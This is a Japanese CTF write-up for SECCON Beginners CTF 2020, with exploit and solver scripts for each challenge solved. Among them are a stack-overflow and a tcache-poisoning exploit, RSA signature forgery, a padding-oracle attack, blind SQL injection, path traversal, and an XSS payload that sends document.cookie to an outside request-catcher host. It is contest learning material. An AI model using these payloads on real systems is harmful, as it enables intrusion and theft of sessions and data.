ふるつき

v(*'='*)v かに

SECCON Beginners CTF 2020 writeup

2020-05-23 14:00 - 2020-05-24 14:00 (JST) で SECCON Beginners CTF が開催されました。今回はチームメンバーが見つからなかったので、腕試しに presecure という一人チームで参加してみました (なんとなく浮かんだのでこの名前にしましたが、既出っぽいのでちゃんと調べておくべきでしたね)。 結果は pwn の Meidum 〜 cryptoのHard、RevのHardが解けず 3823 points で 12位でした。10位以内に入りたかったですね。

[Pwn] Beginner's Stack

Stack Overflowでwin関数に飛ぶだけ。win関数の movaps でプログラムが落ちないように ret gadetをひとつまみ

from ptrlib import *


win = 0x400861
payload = b"A" * 40 +  p64(0x4007F0) + p64(win)

sock = Socket("bs.quals.beginners.seccon.jp", 9001)
sock.sendline(payload)
sock.interactive()

[Pwn] Beginner's Heap

libc 2.28 以降の(keyによるチェックがある) tcache poisoningの問題。丁寧に教えてくれるのでやるだけのはずが、ネットワークが悪かったのかすぐにコネクションが切られてしまったり、同じ入力なのに異なる動き方をしたので、うまく通ることを祈って 30分くらいガチャをした。

from ptrlib import *

sock = Socket("bh.quals.beginners.seccon.jp", 9002)
sock.recvuntil("hook>: ")
free_hook = int(sock.recvline(), 16)


sock.recvuntil("win>: ")
win = int(sock.recvline(), 16)
print("__free_hook: {:0x}".format(free_hook))


sock.sendafter("> ", "2") # malloc and free twice B
sock.send("AAAAAAAA")
sock.sendafter("> ", "3")

sock.sendafter("> ", "2")
sock.send("BBBBBBBB")
sock.sendafter("> ", "3")

sock.sendafter("> ", "1") # heap oveflow 1. overwrite B's fd to __free_hook
sock.send(b"C" * 0x18 + p64(0x21) + p64(free_hook))


sock.sendafter("> ", "2") # malloc B
sock.send("DDDDDDDD")

sock.sendafter("> ", "2") # try once more (?)
sock.send("DDDD2222")

sock.sendafter("> ", "1") # heap oveflow 2. overwrite B's mchunk_size
sock.send(b"E" * 0x18 + p64(0x31))

sock.sendafter("> ", "3") # free B. in this step, B is conneted to tcache[0x28] instead of tcache[0x18]

sock.sendafter("> ", "2") # malloc B (__free_hook)
sock.send(p64(win))

sock.sendafter("> ", "3") # free B to win
sock.interactive()

[Crypto] R&B

先頭の文字が 'R' なら rot13、'B'なら base64のdecodeをやる。手で解いたのでスクリプトないです。

[Crypto] Noisy equations

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)


answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

単なるn変数の連立方程式だけど、 ランダムなnoiseが加算されていてそのままでは解けない。幸い、SEEDが指定されていて乱数が固定なので2回リクエストを送って差分を取ると乱数分が消えるのであとは方程式を解くだけ。

from ptrlib import *


sock = Socket("noisy-equations.quals.beginners.seccon.jp", 3000)
coeffs1 = eval(sock.recvline())
answer1 = eval(sock.recvline())
sock.close()

sock = Socket("noisy-equations.quals.beginners.seccon.jp", 3000)
coeffs2 = eval(sock.recvline())
answer2 = eval(sock.recvline())
sock.close()

answers = []
for i in range(len(answer1)):
    answers.append(answer1[i] - answer2[i])


import numpy as np

N = len(answers)
matrix = [[0 for i in range(N)] for j in range(N)]

for i in range(len(answers)):
    for j in range(len(answers)):
        matrix[i][j] = (coeffs1[i][j] - coeffs2[i][j])

A = np.array(matrix)
A = A.astype(np.float64)
b = np.array(answers)
b = b.astype(np.float64)

print("".join(chr(int(x)) for x in list(np.linalg.solve(A, b))))

このソルバだとフラグっぽいけどフラグとはちょっと違う文字列が得られたので何回かやってフラグっぽくなるように修正して提出した。

[Crypto] RSA Calc

from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except e:
            sys.stdout.write('Error\n')
            sys.stdout.write(e)
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()

[tex: m_1d * m_2d \equiv (m_1m_2)d \mod n] であることを利用して 1337,F を適当に分解して送って得られたsignatureを掛ければ良い。

from ptrlib import *
from Crypto.Util.number import *

sock = Socket("rsacalc.quals.beginners.seccon.jp", 10001)
# sock = Socket("localhost", 8888)
N = int(sock.recvline().decode().split(": ")[1])

e = 65537

m1 =  1081919446939
m2 =  2* 5**2

print(repr(long_to_bytes(m1)), repr(long_to_bytes(m1).strip()))
print(repr(long_to_bytes(m2)), repr(long_to_bytes(m2).strip()))



sock.sendlineafter("> ", "1")
sock.sendlineafter("data> ", long_to_bytes(m1))
sock.recvuntil("Signature: ")
s1 = int(sock.recvline(), 16)

sock.sendlineafter("> ", "1")
sock.sendlineafter("data> ", long_to_bytes(m2))
sock.recvuntil("Signature: ")
s2 = int(sock.recvline(), 16)

s = (s1 * s2) % N
if s < 0 or s >= N:
    print('Invalid signature\n')
    assert False

data = long_to_bytes(m1 * m2)
check = long_to_bytes(pow(s, e, N))
if data != check:
    print('Invalid signature\n')
    assert False

sock.sendlineafter("> ", "2")
sock.sendlineafter("data> ", data)
sock.sendlineafter("signature> ", hex(s)[2:])
sock.interactive()

[Crypto] Encrypter

平文をおくると暗号化してくれて、暗号文を送ると復号できたかどうか教えてくれて、フラグの暗号文を教えてくれるWebサービス。なぜかソースコードがついてなかったけど、問題設定からguessingするとAES-CBCによる暗号化・復号をやっていて、Padding Oracle Attackができるのでやる。 ptrlibを使うとPadding Oracle系はすぐ解ける。

from base64 import *
from ptrlib import *
import requests
import json

c = b64decode(b"rNv1oN83BbvzgICFYbBMtUJ20474P5kmULMw9xZFPOI9vAsrKxf1diFVXVeJl1jE95LNaLajwPLGiUKAQSNe4A==")
iv, c = c[:16], c[16:]

def oracle(c):
    r = requests.post("http://encrypter.quals.beginners.seccon.jp/encrypt.php", data=json.dumps({
        "mode": "decrypt",
        "content": b64encode(c).decode(),
    }))
    if "ok" in r.text:
        return True
    else:
        return False

print(padding_oracle(decrypt=oracle, cipher=c, bs=16, iv=iv))

[Web] Spy

DBにエントリが存在するかどうかで応答時間が違うのでそれを利用する。

[Web] Tweetstore

limit 句にSQL Injectionがある。 PostgreSQLはlimit句でもサブクエリが使えるので表示件数をOracleにしてやる

import requests
import re

index =1
flag = ''
while True:

    r = requests.get(
    'https://tweetstore.quals.beginners.seccon.jp/?search=&limit=(select%20ascii(substr(usename,{},1)) from pg_user limit 1 offset 1)'.format(index)
    )

    a = re.findall('[0-9]+ of 200', r.text)[0].split(" ")[0]

    flag += chr(int(a))
    print(flag)
    index += 1

[Web] unzip

zipファイルをuploadすると展開してくれて、選択したパスのファイルをDLできるようになるアプリケーション。zipにファイルを相対アドレスで格納して ../../../flag などとすると file_get_contents("uploads/session_id/../../../flag"); ができそうな気がしたのでやる。フラグの場所がわからなかったので質問したらアナウンスされた。

[Web] profiler

GraphQL の API がある。https://github.com/graphcool/get-graphql-schema でSchemaを取得したら someone(uid: ID!) というクエリと updateToken(token: String!) という mutation があることがわかるので、それぞれをやって adminのtokenを抜く。

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Cookie: session=eyJ1aWQiOiJtb2dpbW9naSJ9.XskNXw._y30SNQCtLyjvGcUYgfXAQrX7-I' --data-raw '{"query":"query myon($arg1: ID!) {someone(uid: $arg1){uid token} }", "variables": { "arg1": "admin" }}'

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Cookie: session=eyJ1aWQiOiJtb2dpbW9naSJ9.XskNXw._y30SNQCtLyjvGcUYgfXAQrX7-I' --data-raw '{"query":"mutation {updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")}"}'

[Web] Somen

どこかで見た問題なので http://akouryy.hatenablog.jp/entry/ctf/xss.shift-js.info#23 などを見に行くと location.href="http://ptsv2.com/t/9ck3z-1590289441/post?q" + document.cookie;//</title><script id="message"></script><script> のようなクエリを送ればいい感じになることがわかる。

[Reversing] mask

純粋にロジックを読む

s1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
s2 = "c`b bk`kj`KbababcaKbacaKiacki"

m1 = 0x75
m2 = 0xEB

f = ''

for i in range(len(s1)):
    for c in range(256):
        if m1 & c == ord(s1[i]) and m2 & c == ord(s2[i]):
            f += chr(c)
    print(f)

[Reversing] yakisoba

一瞬だけバイナリをみて一瞬でangrに投げることを決めた

import angr

p = angr.Project("./yakisoba")
e = p.factory.entry_state()
simgr = p.factory.simulation_manager(e)
s = simgr.explore(find=0x400000 + 0x6D2)
import code
code.interact(local=locals())

[Reversing] ghost

次のようなghost script (post script?) にフラグが入力されていて、その出力が渡される。最初は真面目に解析していたけど、途中で同じ入力なら同じ出力が出ることに気がついて入力を前から全探索した。gs コマンドを実行する度にcanvasが描画されて目がちかちかした。

 /flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
from ptrlib import *
import string
table = string.printable
estimate = "3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094".split(" ")
flag = 'ctf4b{'
while len(flag) < len(estimate):
    for c in table:
        sock = Process(["gs", "-q", "chall.gs"])
        sock.sendline(flag + c)
        line = sock.recvline().decode()
        sock.close()
        if " ".join(estimate[:len(flag)+1]) == line:
            flag += c
            print(flag)
            break

[Reversing] sinlangs

apkなので、unzipとjarとcfrとdex2jarを使ってclassファイルを解析していった。AES-GCMによる暗号か復号をやっている処理があったので、そこだけ切り抜いてみた。

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
class Solve {
    public static void main(String[] args) throws Exception {
            final byte[] array2;
            final byte[] array = array2 = new byte[43];
            array2[0] = 95;
            array2[1] = -59;
            array2[2] = -20;
            array2[3] = -93;
            array2[4] = -70;
            array2[5] = 0;
            array2[6] = -32;
            array2[7] = -93;
            array2[8] = -23;
            array2[9] = 63;
            array2[10] = -9;
            array2[11] = 60;
            array2[12] = 86;
            array2[13] = 123;
            array2[14] = -61;
            array2[15] = -8;
            array2[16] = 17;
            array2[17] = -113;
            array2[18] = -106;
            array2[19] = 28;
            array2[20] = 99;
            array2[21] = -72;
            array2[22] = -3;
            array2[23] = 1;
            array2[24] = -41;
            array2[25] = -123;
            array2[26] = 17;
            array2[27] = 93;
            array2[28] = -36;
            array2[29] = 45;
            array2[30] = 18;
            array2[31] = 71;
            array2[32] = 61;
            array2[33] = 70;
            array2[34] = -117;
            array2[35] = -55;
            array2[36] = 107;
            array2[37] = -75;
            array2[38] = -89;
            array2[39] = 3;
            array2[40] = 94;
            array2[41] = -71;
            array2[42] = 30;

        SecretKeySpec secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
                final Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");
                instance.init(2, secretKey, new GCMParameterSpec(128, array, 0, 12));
                final byte[] doFinal = instance.doFinal(array, 12, array.length - 12);
        System.out.println(new String(doFinal));
    }
}

出力は 1pt_3verywhere} でフラグっぽいが足りない。雑に grep -R 'ctf4b' などとすると assets/index.android.bundle にjs側のロジックがあることがわかった。こちらは単純なxorだった。

xs= [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27]
ys = "AKeyForios10.3"

flag = ''
for i in range(len(xs)):
    flag += chr(xs[i] ^ ord(ys[i% len(ys)]))
    print(flag)
print(flag + '1pt_3verywhere}')

[Misc] Welcome

Discordサーバにフラグがある。見に行った時点ではまだフラグは投下されてなくて、問題文に「質問はctf4b-bot までお願いします」と書いてったのでそういうことかと思って質問をしたけど早とちりだった

[Misc] emoemoencode

脳死でやった。何だこの問題

xs = open("emo", "rb").read()
flag = ''
cnt = 0
for i in range(0, len(xs), 4):
    try:
        flag += chr(int.from_bytes(xs[i:i+4], "big") - 4036988224)
    except:
        flag += chr(int.from_bytes(xs[i:i+4], "big") - 4036988032)
    print(flag)

print(flag)

[Misc] readme

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

これ系の問題は絶対にprocfsに違いないとあたりをつけてやった。 /proc/self/environ をよむと PWD=/home/ctf/server であることがわかるので、 /proc/self/cwd/../flag で読める

[アンケート] アンケート

フラグはなし。Discordのリンクだけ見ていたので、競技終了後に問題として出ていることに気がついて、もしや問題文にフラグがあったりしたのではと焦ったがそんなことはなかった。問題の質が高くて面白かったこと、去年に比べて難化が激しいのではないかということ、とにかく楽しかったということを書いたと思う。